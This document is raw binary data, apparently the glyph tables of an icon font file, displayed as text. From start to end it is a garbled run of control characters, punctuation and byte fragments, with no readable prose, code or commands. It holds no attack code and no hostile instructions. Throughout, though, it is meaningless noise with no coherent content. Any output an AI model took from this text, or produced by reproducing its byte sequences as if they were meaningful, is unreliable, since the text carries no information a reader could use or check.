",A#,         * 1 >@;/.-I     ~  Y a Q10,+$#+"/&4?62%?64/&"&4762'3'73|KKA`S":Oh2:OOdC.B%b?;l    (  ) 7@4~    i Y a Q###%+>2"&'&4#";26=3264&+54&"h>||>>&&Ci||||ikL&&     8 H _@\2	L  

  		   
 
ig		Y		a 	Q:9  A@9H:H76*)   ###+546232+"&=#"&463#"'&'&476762"'%2>4'." , G  G , G  Q/n;eUS0220SUUS01$# +EwF$"wx"$F;<G  G ,!F!!F!, #$20SUUS0120RVd?n,, Fw<:FF:=x"$       # / ; G r@o  	 	  

g g  g 		Y 		a	Q=<10%$ C@<G=F740;1:+($/%.#"	 +%132"/&>;462"&463!2#"&46;2#"&46;2#"&463!2#S	S!, &&&&&&%%&&:%%:&&%%

L%% ,  ,  ,!!,  ,  , q ,  ,        5 @@=  ~g   W  a  Q2/(%"55%#	+	"&=#"&=46;5462#";2+".54>;2$$0 00 /O--O/="00&-O/^/O-&   (    & 0 9 B y@v.L     ii	Y
		ia Q;:21('?>:B;B651929,+'0(0%$! %+"&54>32"264&"264&4&"26"265.!"264&"264&L3J2(#5X#43G54O#52K22I3I/2J/#52L12#52L12#53J24#55#(2I3I/2I0w3J24F5X#54G433J22%%33J22K22J32K2     (  @     v53+#!"&5463!2fDHcfE?Gc~HcfE?Gcf     +  ( & 2+/.?>'7>&''7'?q
((
p*())*)hl&&!*$yy
#,"uu&%     +  2+?>'7>&/.p*)))q
((&$.#
uu
#,$&         # / R@O g 
g 	g   W  _  O%$ +($/%.#" 
+"&463!2#%"&463!2#%"&463!2#%"&463!2#h%%%%%%%%%%%%%%%%!,  ,! ,  ,  ,  , !,  ,!         # / R@O g   g 	g W _
O%$ +($/%.#" 
+"&463!2#"&463!2#"&463!2#"&463!2#&&l#&&&&&%%%%&&'' ,  ,  ,  , !,  ,!q . ,!      5 Q @LK
PX@"       W  a   QKPX@     W a   Q@"       W  a   QYY@	.->))+>54/&'&#"32"'&'.'&=4>;2#"/&'7654'&'&#32		&9	 Z

mZ		
Z	
%
Z
       # / R@O g   g 	g W _
O%$ +($/%.#" 
+"&463!2#"&463!2#"&463!2#"&463!2#h%%&&%%q&&%%%%%%%% ,  ,  ,  , !,  ,!q!,  ,!       # / R@O g   g 	g W _
O&$ ,)$/&/ ## +!"&463!2!"&463!2!"&463!2!"&463!2&&%%&&q%%%%%%%%%% ,  ,  ,  , !,  ,!q!,  ,!      (  , %@"&L       v+"&'&476762764.'&?>'>|>>><ki}&}}%}}'}}#Ci||ikkh?>|}%}}$}}%}}#   (  3 ; ? O q@n1M L   
 
~  g	i 

W 

_ 
OB@ JG@OBO?>=<;:76.,)&#!33
 +%32654&+"#'.+"#";3!265326=.%4;2#!!32654&+"L)

)
&>%%:2"#00s*		*
?			|\dd#42%X22PX			|   k  R d@a<2R=('L ~ ~ ~	   i Y _ O OMIGCA87/-%#	 
+!"3!2>54.#"'&'&'&#"#"&5.546236763232767632	Y.--.s
6N'6&C5#
-Y---	"Y	&& $
		   (  & ; H Q \@Y L  i  		ii   i   Y   a
 QJI=<('NMIQJQCB<H=H21';(;%$#+%327&'&#"'67632>54'&'&""'&'&476762".4>2'264&"9*/11bZ*/F9dr3EHOWT7-&)/.ORRO./3}kg=>>=gkkg=>>=gk}1R00RbR00R1++8++:6"0=!#-5-r>_QO/00/OQ_<;8>=gkkg=>>=gkkg=>0RbR00RbR0l+8+*9+            @ L   v 
 +!"3!2656.>54.?6,+ ,$%&+J(*!;tt
        @ J   v+&'&'.27>'&g1>;v-&!-xz/7 1Z0Z1)

(.&&-''/DA3b1BE       % / @J     v,+('+	.67&767676226?264.u65&w.0D@='":G	//!"I*65w=>A-1N
>G>3+!	$     (  3 A C@@L  ~    i  i Y a QD,+>2"&'&4356?>54'&'&#"347676322654'&"h>||>>T&%"7&`	"/3Ci||||ik'6:&3	 "      .  ) S b b@_QL  ~  i  i  		i  Y a
  Q _^XWSRFD@?98 ))
 +"'&'&476762'276764'&'&"4?67>767654&"#47>32#4762"'.}lh>??>hlli=@@=il}dWT1331TWWT1331TW6
	4`*4!F'%X1/	q@=illi=@@=illi=@\31TWWT1331TWWT130	B!AX    (  + @ G@DL     i gYa Q-, 76,@-@'$+ +$	+%/#"'&'&476762%!2#!"&546276764'&'&"*2|Gk\Z5665Z\\Y56RFC())(CFFC())'DF))*65Z\\Y5665Z\jBA;)'DFFD'))(CFFC()      (   1 [@X    
  g	g W _ O 10-+('$" +!!72#!.54635463232+"&=#"&463c"&12%&12%A&&[1&#53%&1d&&   (     A@>  g g W _ O   	+!!72#!.5463"&463!2#c"&12%&12%&[1&#53%&1&&   (   $@!     v+>2"&'&4!264&#!"h>||>>BCi||||ik&&     .  ) 5 B@?  i g  Y a  Q+* 1.*5+4 ))
 	+"'&'&476762'276764'&'&""&463!2#}lh>??>hlli=@@=il}dWT1331TWWT1331TWyq@=illi=@@=illi=@\31TWWT1331TWWT13E&&        - @- L  v)(! +'&462"&47.7>"/&4?62J} ++ &,&--,}9},+ +&'+ +,}          6 3@0  i   W  _   O65#6)7+#!".54>7>32;26=32?64/&#"31R04X3>i>5]:&PDwP
}	K	
6U15Z4?k?<fAIV=m

		     , 6@3L    i  Y a   Q%$,,"+%#"'&'&476762"'%2>4'."/n;eUS0220SUUS01$# +EwF$"wx"$F;<u#$20SUUS0120RVd?n,, Fw<:FF:=x"$    (    $@!     v  (+476762#"&'$%2>4."h64Z\\Z467
$"9""9D9""9k\Z4664Z\k]-0E!:D:!"9D9"    gT , j E:K
PXA' d     \    	 [    U 6 ! 
   )  
  ?   
 G          LKPXA' d     \    	 [    U 6 ! 
   )  
  ?   
 G          LA' d     \    	 [    U 6 ! 
   )  
  ?   
 G          LYYK
PX@N		 		~ ~ ~  i  

i    i Y  i a QKPX@I		 		~ ~ ~  i  

i    iYaQ@N		 		~ ~ ~  i  

i    i Y  i a QYYA  l k=<     t s k  l  h f O M J I D C , *      +6"'.'&'.767&76767676766?6?37>&/7>&/76'.'&'&22767676'&'&'&76767676'&'.'&767676&'.?6?67676767676&&'&>76?>126?6?676767>5''&'&767>76.3'&/&'.LPLJ-/.0
"51;F-,k-1shC7(&'
	)*=!FDOR6$#%!$19U_($[IA7+,	)'R355
9IF<>/
!	

 
	':) 

		8"
		#
		
.

1$1%@BRUb$5wj")4 !2a7(&h47*8><-.N/.'&36/"0,[!8R)6.&]h-NE71.?	
+*,d	
:&H=
'* 1R 
07

@=!J'( 		+

N$-)
>6,$	>(%7	 8C$9    ~A  " 1 : D N @ -(%L  
 
g 	 	g  g i W _ OFE<;32 JIENFM@?;D<C762:3:0/'&"" +!2!"&/467!!"!2?4&!57>7>%2"&462!5463%2!5463"1.""2.",KN**:+*SX.""2."."2V|ŇKN5+:+*<***t**      ( - ?@<  gW_ O '$! 	 -,	+2+"&=#32#!"&=46;#+"&=463AQRA(BBBnB       ' w  AK
PX@/ut.q1edb=<:6
 WVSKJGE!
L2^KKPX@/ut.q1edb=<:6
 WVSKJGE!
L2^K@/ut.q1edb=<:6
 WVSKJGE!
L2^KYYK
PX@(          vKPX@$        v@(          vYY@pn'%	+?3?#!"&'54>73%6276#+''"&=&/&'&'&'4737&75/.767>;6?546&32656&2".4>3m0)&&(4X4!13&)	&&&% 	13&&&&%Q*	#(84X44XhX32XM#		&<,
&C5Z7x2	0'2&-2	1&2		-*(4YfY43XjX3    jR   ) 5 D R b n ~   @rz9
	OH
@L{sA
:K  g  g g g g 	i
 
g	 	i g i W _ OoodcTSFE66+* o~o~wvjgcndm\YSbTaMKERFR6D6D?=1.*5+4# )(	  +2#!"&5463!!267%2+"&=4632#!"&463'2#"'54672!"&5467'2+"&=4632#!"&463'2#"&'54672!"&47!"!54&'V&&<&&
		*				_		S
.

"	
[	
O		*				_		S
.
"	
[	<
R%%%l%&		*

*	
-.
		*		*	
.
.	
mi    ! % H@E L   g gW_ O %$#"	 !!	+2!32!"&546735!"&'467!!k".,#".,#,#[".KK,#".S_     ! ( 7 @,@#L
KKPX@H  
r 		r W  g 
 
g  g		W		` 	PKPX@I   		r W  g 
 
g  g		W		` 	P@J   		 W  g 
 
g  g		W		` 	PYY@-*)"" ?>;:652/,+)7*7"("('&%$
	 !!+#532>/&";#"3!26=6&%7##5!53;26=3'"&462sd ,@* d,, +*c,,>  42.>>-7+ ,,,g2,,2d      V  @ LI    v)+654'&'&"327765$0/PSSP/00/PS`AQ2:LZNK,..,KNML,.	)     k  % 1@. L    W  _   O%$"7+#!"&'!2>52!".'4>7&-8_91Y-M-!8"5!!8"5!Y19_8-&-M-5!!8"5!V!8" 	    3 G V j ~   K
PX@{T;
 LKPX@{T;
 L@{T;
 LYYK
PX@l  

     	g		g ii  i  

g W _ OKPX@d  

    	g		gYi  i  

g W aQ@l  

     	g		g ii  i  

g W _ OYY@DmkXW  wtk~m~b_WjXiPO65-*'$32  +%1#.=462"&54&#!"3!2#!"&546362"'#'&?%6"'&?'&2+".=4>3#";2>=.2".4>"264&72"&46F	B
CV(3v

}(44(???O,
S
SB>'A&&A''A%%A'.../q!7!!7B8  8! //@//a	;)		R!!!;)z);BCSP
X
WGB%A''A%%A''A%)....C!7B7! 8B8 *-D--D-?          * 7 l@i %$L
    	 i i Y _ O,+ 21+7,7*) 	 +2!"&'467"2>4.%#"'&/767632".4>q".,#".,#=j>>jzj>>j
1. "-2#9!!9F9!!9,#".,#".h>jzj>>jzj>!I}!9F9!!9F9!      R  & 3 C [ e i r          3K
PX@% &G	W
P!LKPX@% &G	W
P!L@% &G	W
P!LYYK	PX@r  p7#6!5)'%&%g*(&$" & g432g+ , g/.		g1 i-0
i

g  i W _ OK
PX@r   ~7#6!5)'%&%g*(&$" & g432g+ , g/.		g1 i-0
i

g  i W _ OKPX@   ~7#6!5)'%&%g*(&$" & g432g+ , g1/.		g-0
i

g  i W _ O@   ~7#6!5)'%&%g*(&$" & g432g+ , g/.		g1 i-0
i

g  i W _ OYYY@ȹtskj]\ED54(' ǹƱ|ystonjrkrihgfa`\e]eUSNLKJD[E[=:4C5B.-'3(3&& 8+2#".'54>7#"32>754.'2".4>%2+"&=463!2#32#"&'5467"2654&%#3%2"&462+"&=463!2"&=#32+"&=463#3%2"&=#"&=4632+"&=463!2#"&'5467!2#"&'5467#3%#3%#31%?'#=%%@'#=%&;6%,*`!8  8B8 !7

yu

y /-E,/צ}

}}H_c$$^#=%%?($=%%@'*6%&;*,B 8B8  8B7!		C-B/-" /'	)m		mm		m$*     k  @ I  v$#+&'&#".#"67676N5.:7\Z7:/58.cR\\Rc.8J&!:..:!&JWmZ_O==O_Zm   ( + N@K( L	   i Y _O $"! 	 +*
+!"3!#53547632#"3#!2>5.#Z4./42Z"*$>,u.<)(./+8q_31}#`.*:       ; ?@<:853& " L         v%$#)+#"'232767"&'2327.=.47&54>326767_#$BGah}	@<94=_ +D'#1&.Fegr2V3)H:?
+C*-`]`LP-0T'H95M-	Td-V353V2# 7	9    ) l J@GV1+] L   i  i   Y  a   QhgNL@>75')%+#"'7676?327>54.#"674674'&'&5&67632#".76767654'&#".'&5476762><gj{CB):!D75>IN^GA$"		0-1>7X1A'#&U$&><gjjg<>b{jg<>
I&1.&%NJxE(%@>H"H%
2Z.T5=0/4'("2
dh(!SV^{jg<>><gj      1 G a w@t\BT< -L
    ~	gW_OHH32 HaH_XWSQ@>:92G3E+'" 11	 +2#'./7>?357>!232#"&/5462"&/5#"&/46?!#"&/57>?_ @     + (!          % 8 K @B/
G<4)	! 	L 
 

 		 	 ~  ~  		g  W  _  O:9'& EC@?9K:K20-,&8'8%%
 +2"&'5#"&'5467!"2675326754&'%26754&"#"!"&'546232k ,!+ ,!+              0 < L X \ ` l x           (  2#!"&'463!"3!2674&#2+"&=4632+"&463%2+"&=4632+"&463%#3%#3'2+"&463!2+"&463%2+"&=4632+"&463%2+"&=4632+"&463%#3%#3'2+"&463!2+"&463%2+"&=4632+"&463%2+"&=4632+"&463%#3%#3'2+"&463!2+"&463)<8()<8( #"#"a

S

$		}

M		S

#

}		))**		}



}		

S

$		}

M		S

#

}		))**		}



}		

S

$		}

M		S

#

}		))**		}



}		3%H&63%&6*L	S

S	TT	S

S	T****T
S

S
SS
S

S
S))))S	T		T	SS	T		T	S****S      j(   ? \       @=`Ȱ3+9mYQ
;%

LKPX@y	
r$ ( g#!" i  g& gg 'ig  		g  
g
%
h W _ O@z		$ ( g#!" i  g& gg 'ig  		g  
g
%
h W _ OY@_ˮ]] ½ʮʨ]]xwlk\[WVSRONKJCBA@?>7510*("!	 )+2!"&'467!!267%"/##"&'54673'46737232'!37>354623546232&/./##'.67367#"&'546?!?3235'5'46732"#"!54&/#"&5?4&!"!54&'"&462"&462"&462)<8))<9)\l $T/"A!(:!1	./*)v
	
		
v	

SE
S	$ ST(6'(:6((:v!
#2P''L+ \3	7.	
2.	
.
c		,
		
h*	=p	daGB"?		       # N l o    @

&ledG3t\[PS<	R	uonQ
L 

 ~ ~ ~ ~ 		~ 		~ ~  g 
g W _ Oqp pqhg_^VU+(#"
 +2!"&'46?!"!2674&'7673/&?'.?>7'".?'".?'".?7"6574/&'".?62%7'".?'".?'".?)<8))<8)$ $ 7d5gba		

lTbx7(c{ab	
	2%I%62%%6*KV87d3haa		hkax	7(caa		      % <@9  g  g W _ O "!%%
 +2#!".5463!3!265!"!4&0<,0<,Vl%&>&&*P(3)(4eu         $ H@EL  g  g W _ O  $#	 +2#!"&'463!3!267!"!54&#)<8()<8(^l"#>#"3%H&63%&6OK    j(  : A N [ p ~       @6,+¿
|u	{	m`aA	LKPX@'%#!r4r1 7)+ )g:/9.8+0-,*+,i **g(&$" h6
Y 

i5	Y 		i32h  gW_ OKPX@'%#!4r1 7)+ )g:/9.8+0-,*+,i **g(&$" h6
Y 

i5	Y 		i32h  gW_ O@'%#!41 7)+ )g:/9.8+0-,*+,i **g(&$" h6
Y 

i5	Y 		i32h  gW_ OYY@qq]\POCB q~q~yxlked\p]pUTO[P[HGBNCN?=<;:93210*)('! 	 ;+2!"&'467#35#"&46?35#"&46?35#"&46?35#"&46?3%!!267%2#"&46?32#"&46?2#"&46?3546?2"&'54672"&'546%#3%!3546235462354623546235462354623!"!54&'2"&4632"&4632"&46)<8))<9)0h 0*
**
**
**
*,$Q	
.
	
.

.

	hh,>SSSSS)>$ 	\\	(8))<8)*<$SSSS> )
*}
*	
.}
*	
.hhh*
**
**
**
**
**
*!D>#)      j(       $@3x3'wpo;:nUB<!mkF>=
e[G	
	LKPX@Qr 

p  gi  gg
	
	h W _ O@S 

~  gi  gg
	
	h W _ OY@= usih_^WVTSNM87+*#" 	 +2!"&'467!!2672#7#"&/4673#3"&'5546?2#"&4673'32#/54627'#"&'55?37!"!54&'"&462"&462"&462)<8))<9)\l $		KG

}
KG

^$ ST(6'(:6((:v!
{		KG
z
}	
GG	9GB"?		      # T    @X'
f_5.~KztFAL$
K

 
 gY	g i W _ OVU |{wvsrihcb^[UVIHDC@>7621-*## +2#!".54>3!"3!2654&2357>23#"&/5'&5476?6?6!2357>23#"'&'5'&=?>'2#&'&'&'&'&'&4767676767&67>76?6/&'&'&0000$$$$V		dEVdD

	!	
	
	
	+P+++*P
	4	55
3(w	
4557w#%(!&&
2 ,	
  	    U n      f@<R NGQPF|r<+;,{se	*!	
LKPX@K r 	r g  g  g
g  		g   W  `   PKPX@L  	r g  g  g
g  		g   W  `   P@M  		 g  g  g
g  		g   W  `   PYY@-oooowvihXWKJBA@?&$UT+!.'>7!7>!#!7>75'&'&6?6746737!"&/5467!275.'.6?>&%2#"&/467#3776?67673?76.!!8'(77(N#5 H  H!!$%f04"	
	
">!@
'b(	
Ի}"!@2#5sH

!$D'77'U(7."7 @   5'W!$*
	m5 "#
54	
$)*
: XUk+'t}      # 9 G T b p ~     @*
1
L   g$#g"! g		i g 
g 
 
i g W _ OrqdcUUIH;:%$ ywq~r~kicpdpUbUb][ONHTITB@:G;G42/.$9%9## %+2#!".54>3!"3!2654&2/#".4>2!"&46?%"2>4.2#"&46?%2!"&46?2#"&46?!2#"&46?!2#"&46?%2#"&46?!2!"&46?0000$$$$(D(GJ)/(C((C	
	
00:01	
#	
	
	
	
	

w	
}
	
	
	
+P+++*P(D(2'IK(CPD(1:10:0h}}}   	    # 1 ? V d g u  @L  g g g  	g	 
	
g g g W _ OwvihXW32%$ ~|vwpnhuiugf_]WdXdJI:82?3?,*$1%1#"
 +2!"&'46?!"!2674&'2!"&46?%2!"&46?&/#'#.?>2!"&46?'3%2!"&46?%2!"&46?)<8))<8)$ $ E	
f	
	
f	
ziwh'	
	
-Y	
	
M	
	
2%I%62%%6*K}mFF$}S}     j(   < ^ o s        @|^lb
	zYA
kcL  ~ " g%$#i  gi! g  i  g  	i	 
	
g  g W ` Put__ Žtusrqp_o_ohgKI>=,+<@<	 &+2!"&'467!!2672/&/.54>"33?6?6?'./2#"&'5467#3"67&54>2654."264&%2#"&'5467#3!"!54&'2"&4632"&4632"&46)<8))<8)]l!$>j=(#			

',=i>%?

		
9"

!3V2#6"080"6#3V3%%3%%

?$!	\\	(;*+>;*+>~&#=j>2X 	 ]4?i>% 
)	W
X)*M2V3<11 .00. 21<3V2S$4%%4$S	W
X)*#@:&)   	  =   / @ Q b    @άf|_WNF=5+#L   g  gg 
 g	W	_OccSRBA10!  cc}yxutonig[YRbSaJHAQBP970@1?)' /!/	 !+%2#"&'5467!2#"&'5467!2#"&'5467#";26=4&#!#";26=4&#!#";26=4&#232"&54&'##"&'5#""&54>735462#"&'5467#"326754&'&hhzhd	h
wd	h
d	h
E'C(7)
/%@%\)<8()<7(#!#!Ohhhhhh)h
h	h
h	h
h	w
l(C'

)<h

l/

'A(h	7))<8()<)!"!#     (  - 6 ? KPX@<    
p

i  		i Y ` P@=    

~

i  		i Y ` PY@#87 <;7?8?5410,)$"  +#"#"276.+6&54&#!"/!"3!26'4&"2672"&46<
pXLX>O(

,XX<2       (@%I     Y a Q+%&6767677%64m_J@*%dOS[V{
92XK^QJs=?
!   lP b              ?6/&#"&/."'.'&6?>'&&'&47>>&/.767626?462.765!276#"'.'&47>76"&''6>267.?>64'".67&#'#&%2".4>"264&%#3&'7#35'#367#37#3&'7#3&'%363573.'3.0H7A$
$A	3K
aYV$&`	"aYV$&&$VY"&#		#&"(!		 hQ/w'j>700800%%4$$<ۅ; ׭4
;d&w",OÞN,l4#w(j.;		'E'	%			%$H&	:
	 &$VYa"	`&$VYYV$& "("  /"EW	2K7080080)%4$$4%p`Vcs]_qlddlc\_qiZH0[[QABV5[2J     = $ I n ~   KPX@H  p	q  hi
i W aQ@F 	  hi
i W aQY@FqoKJ&%  yvo~q~kib`]\YWPNJnKnFD=;8742+)%I&I $ $'#'$+232+"&5#".=4>;546!232+"&5#".=4>;46!232+"&=#".=4>;46#";26=4&%#";26=4&%#";26=4&1100V	0000V	00002S%%S%%T%%T$$S$$S%%=	>0T0		20T0>		0T0		80T08		0T0>		>0T02	$T$$T$$T%%T$$T$$T$     jJ  , 8 T@Q21(#!L 
 i	i Y _ O.- 43-8.8&%,, +232#!"&54>;5>76"26?54&"!5.I~OO,8(,(8,ON>AK./>.1"-M1^0OJFyI,x(77(,J}$%)d*&]#1*I+.M-     ( ? J S \ e @D

=	L   
 
gi  g 	 	g i W _ O^]UTLKB@*) ba]e^eYXT\U\POKSLSFE@JBJ<;7521)?*?  ('+2"&'5!!2675462!".'4>72"&=!"&467!5>!"!54&'2"&4632"&4632"&46F6"!"4U 6!4	hi\"""4 %l 6"5f 6"Ubb	8!8	W}x&""""""      ( @ K T ] f@E

>	LKPX@[ 				p ~ ~ p ~ 
 
gi  g W ` P@] 				~ ~ ~ ~ ~ 
 
gi  g W ` PY@?_^VUMLCA)) cb^f_fZYU]V]QPLTMTGFAKCK)@)@=;7521  ('+2"&'5!!2675462!".'4>7"26=!264&/!54&!"!54&'2"&4632"&4632"&46F6"!"4U 6!4hi\"""4 %l 6"5f 6"Ubb	8!8W}x&""""""       D Y f t M@JL)I
   i W	g _ Ohg pmgthtb`[ZGE><'& +2"&46>&'&'.632#'&'&'&67676735'&'&6#"676?657%'"&>7''#"&467
9/'!)(@	A	1 X,0%'S	%1H 1$!CTy

C
	F
@ 6/	HJ	O>@)	!&*f'%B=F:)M,H>     # 3 C G K T ] f o            59=  2!"&'46?!"!2674&'2#!"&5463#2#!"&5463!!%!!'2"&4632"&46!2"&4632"&46%232#"&/#"&'546?!232#"&/#"&/46?#3%#32#!"&5463#2#!"&5463!!%!!'2"&4632"&46!2"&4632"&46%232#"&/#"&'546?!232#"&/#"&/46?#3%#3)<8))<8)$ $ 		F		
8K9I	}	IyP#
yP#
\;[;		F		
8K9I	}	IyP#
yQ"
\;[;2%I%62%%6*K`11):J	h
J	h	M000.11):J	h
J	h
M000      # 3 C S c g k o s      @ ! x`P@0XH8(L" # g( g+ g   ! g ! !g*)i  g'&	%$g
g W _ OttTTDD44$$ tt|zsrqponmlkjihgfedTcTb\ZDSDRLJ4C4B<:$3$2,*#"
 ,+2!"&'46?!"!2674&'2+"&=463!2+"&=463!2+"&=463!2+"&=463#37#37#37#32#!"&5463!!%2"&4632"&46232#"&/#"&'546?#3)<8))<8)$ $ s				ppp		``\\__\\				
Kq+<"
5'2%I%62%%6*Kaaaaaaaa*))))))))5w*4	
iw   ( . F ` j @	I `_^UTSQJF>=<43/2LK 	~   g
g W _ Oba gfajbjZXNMHGB@8710*)'& .-+232#"/!"&''.?>37>7!5'#"&'5'#"&'%!>732546?32#"3'&'X$;

 k7( 03:"o	-o
-o	.n
*o (f ]0$.!0t ,f0`$
q`

`	G``J75       # 3 @ D R ^ n u    @k|xsc0(L   g gi  i  g
g
 
g	g W _ O__TSFE54$$ ~wvut_n_mgeZXS^T^MKERFRDCBA;94@5?$3$2,*#"
  +2!"&'46?!"!2674&'2#!"&=4632!"&46?'!!%2!"&46?%2!"&4672#!"&5463/!!767>2"&46"264&)<8))<8)$ $ `{			
		iM	
	
M	
		X				$~
~%%4$$	2%I%62%%6*K}}SSR	Jw	I*%4$$4%*    jR   & 1 n	K	PX@k[YCB@,'%$LK
PX@k[YCB@,'%$L@k[YCB@,'%$LYYK	PX@+ ~ 	 i Y a QK
PX@1 ~ ~ 	 i Y a Q@+ ~ 	 i Y a QYY@32 TRQLIH:62n3n 
+2"'.'&47>76327%67654"32?6#/&/"&67;6?2?654'&/&'&5467&'&f]Y&''&Y]]Y&''&Y]n>CNIoJ#ic:;6tfc>2-
0gI		-0!% 
00	
'>LNR'&Y]]Y&''&Y]]Y&'qWPN|&FRfLNd>eiygc75\54A#'$05   (  c p   @y]zS' FL 

 

 	
	~g   i  i 

i 	 	g Y a Qqqed qqkjdpepA>4321,+cb +2".4>276#&&?4."372+"&/&'&/&6?5&4?'.?>6?>3"2>4./762&547.54>3264'&6?''&'&/"/&4627629a88ara88a~^TP8;
.O^O..O/	

,_TPPS__.O..O\O/.Or
&	
iVYYTk&
c!6Z48a97];(-YTk
$"M?x88ara88ara8d&
	?
	
0P/.O^O/	!&O>
e
&
	?>	
&d.O^O./O\O/p*H
!
E)o>G;]79a84Z6	
E)
oL>x 	  j(   * ? X c l u ~ @]
	U/L ~ 	 g	
	
i  g W _ Owvmmed[Y {zv~w~mumurqihdlel_^Yc[cNMBA?>	 +2!"&'467!!267.?>/.?62>"/&4?'&6!"!54&'2"&4632"&4632"&46)<&)<8)]l!#l{xF{{$!	\\	(;*, ;++>~&$C{x{{i#@:&)    6 T r  h@
g[>3JK
PX@    Y  _   OKPX@  Y _   O@    Y  _   OYY@	FDCB+6767>/&/&/&/.?6?67676767;/4/&/.'7&>'&/&/&76?6767676'HOJFCc'&'<@O?Z)%'06H"	#
!733)!!'*+

'(*!&,	;	"'+BGIH&$
B	V@=&
N?;&$+]>@CI@
/82_ [<#+8'"0.
 (("
Y04%
	 78M)/"'+EHDC)%!	  
  (   & / 6 = H R Y d @;Y3	L  ig
	g		Y		a 	QZZ?>8710 ZdZda`VUPOJIDC>H?H7=8=0616.-*)"!&&
 +"276764'&'&#&'%2#67>473#&3.'#>7"&'&'3!&54?!67347654'3|kh<??<hkkh<??<hk|';],,'|';]||];',,p'|];E(?<hkkh<??<hkkh<?dK[:3-1>>1-3$&040&~fIZ;E:[Kd3-2>>2-3($&!$LIf;Z"&$"P"    c    @g 		LK   i  g  		g
Y
_O ֿ~wvqp^]ONLIGF?>7530., cb+2#!54/&'&'.6;22+"&63676?6=#2+"&6367>7654/&'&'#.63633!'.6?3267674'.'&/.63676?67#3&=463!23&54?##!"&=473'&'
	 	

		

		

		Y
	
	
		
	#N7	-/.	)	//		CN
	$ 4!#D""#			4($   j(   ! % ) 0 4 8 C L U ^ @=
	8754320/,+)%!L 	 g	
	
i  gW_ OWVMMED;9 [ZV^W^MUMURQIHDLEL?>9C;C('$# 	 +2!"&'467!32?67%3737377'7'7!"!54&'2"&4632"&4632"&46)<&)<8)]lY_veIv\>$!	\\	(;*, ;++>ЙeI8T]vv>#@:&)      + !LKPX@1 r
  g	   g  h W _ O@2 
  g	   g  h W _ OY@ %#+*	 +2+"&5463#32!!!"&'54673&5467s,,,,U+nP:O*L,F,,,TWz+!+        # B@? L g  g  W _   O  #"!   6+%2+"&=4632!"&5463!!x!0."!0/!Oq/!["//"!0S_     C  + ; K [ k { @xph`
XP$	H@80L   g 
	
g	 	g  gW_ Oll\\LL<<,,l{lztr\k\jdbL[LZTR<K<JDB,;,:'+/.?62.?'.?>2#!"&=463%2#!"&=463%2#!"&=463%2#!"&=463%2#!"&=463vxxv

z

z
v~voooo       & 6 : c@` 4L   
 g	 g   g W _O)':9871.'6)6"!&%+6"'&'472!5463%2!5463!"&5463!2%!!
$	
*

6
+B			Nl
{3Օ
T

		e*q      # G T `@]A:3L ~ ~ ~ 
g   W  `	  P SPLJ=<7610#"	 +!".54>3!2"3!2654&#127963?64.4&"'&124&#!"3!26w4443))))pp
	(	e333i4N)i)))a	
a?	     # 3 ? C O _ k o {     @0\L g 
g	g#!g"g&$g%g   W  _  O}|pp``QPDD44%$ |}p{pzvtonml`k`jgdYVP_Q^DODNJHCBA@4?4>;8-*$3%2#"	 '+!".54>3!2"3!2654&#2+"&=4632+"&463'#3%2+"&4632+"&=4632+"&463'#3%2+"&4632+"&=4632+"&463'#3%2+"&463w4443))))		T		R			j**g		T		T		R			j**g		T		T		R			j**g			e333i4N)i)))~	U		UU+*T	U		UU**U
T		T	T**T        " ' 3 ? L b @TQ!L   g g g 
	
g	 	g  gW_ O@@44(($# SROM@L@LFE4?4?:9(3(3.-&%#'$'
 +2!"&'4>?!3%!!26?!!2!"&467%2!"&467%2!"&46?%!"!5'5/"/w2=,,A0%q (FV
c

c

c(0a-@=,2(%'poo%LL
        # E R _@\@4%AL  
g  h   W  `	  P QNJHDC>=('#"	 +!".54>3!2"3!2654&#>&/&/#1&#'#?264&#!"3!26w4443))))qq
	(	e333i4N)i)))a~~aK	       & . B R @.
	'
LK	PX@H 		    ~    

p 		g   g 

W 

`
P@I 		    ~    
 
~ 		g   g 

W 

`
PY@%DC1/ LICRDQ;8/B1B#!	 &&+#53264&+54##";26=326..4>7!".54>3!2"3!2654&#		:a=Y		Z=a:~	-I**I-F4443))))|?e;;e?|{	;WbV;	y333i4N)i)))        $ Z ^ g p t  t@q20tsrojga^]\UB1pi`_MCL ~~	   g W _ O mled!	 
+!"3!2>54.#!"&5463!2/&/&'7>.39;27%>=?65%7'532?53?/7%&6?0267373251327313031;2133"/"&=#"w4333())))yA`/.	`C88**4ئ
**{TS013i334))))iYd%IJ%
g]^	BPAOw<
'jN'
=xhAOAHH)	*     ) . 6 C P o @mT*! c] 4	)"L 		i  i 
i 
 
i W _ ORQED87  ljfd`_\[VUQoRoKJDPEP>=7C8C65 . .$&+2+7>7>!"&46?!2!"&'46?/!2".4>"2>4.232#"&/5#"&46?3546h	>5	
w
>
dx3V33VfV22V3'C((CND''C(?	B>	
>
	b}p
<	cl2VfV32WfV2)(CNC('CPC'*
B?
?>        , \ x      K	PXA/ H     
      l   
  s       k    @    	  L     K ' &     IK
PXA/ H           l   
  s       k    @    	  L     K ' &     IA/ H     
      l   
  s       k    @    	  L     K ' &     IYYK	PX@lr  ! g&%$*)
i('
Y i	i#"
 	
	gg   Y  _   OK
PX@n  ! g&%$*)i#"('i i	i
 	
	gg   Y  _   OKPX@f  ! g&%$*)
i('
Y i	i#"
 	
	gg   Y  _   O@m  ! g&%$*)
i('
Y i	i#"
 	
	gg   Y  _   OYYYAl             z y . -	                                         y  z  x v o n f e T Q M L F D > ; 7 5 - \ . [ , * !   % +  ++#'&/'&54676327'&6;2+"&46;2674&'!"!2#!".=4>32#"&?'&73276?3'25?4?32+"=6"#"&7>%22=74732#"574"#"&7>72#"5743%2+"+"?63!2+"+"&576;"2>&!"2>&%#37676&!#3>56&#XJ^	G?0	
I8RD00$ $ T00g!!"+'			( Q!! 	Gz7?w
F/	!G01! $!$10.b>>f
 (e
 (8 #'	
 #'	Y52	2	     !    - 2 B R V Y d@a2/L 

g	 g  iYaQ43"! YXVUTSJG<93B4A10('!-"-  +2".4>+"&/&6?62"2>4.372#!"&5463%!"&75>!!!9_88_r`88`l	BC	-M--MZL--L??		#MA=8`r_88_r`8



*-MZL--LZM-xn5 L	22    " & j   6@3lGyx. L     Y a Qji%$+7>'&>&'&'&&'&>/.>>?6/&/.>3?67>"#674/&65	L

>$

+5)k	!	
B
,i?/		,Q		,


tiy	M5
L2	S    	  {(   , 0 c v    @ƑgyqL
 
gg  g g  g i  g	i 	  	g  Y  a Qed21
	 }|xwoldvev\YVSNKB@=<1c2b0/.-)(",,	
 +2"&4632"&46232+"&/&'&"&46#32".6;767>54&#!"3!2#!"&54>32!"&/5467!!267%2#"&467%!"!54&Yt3
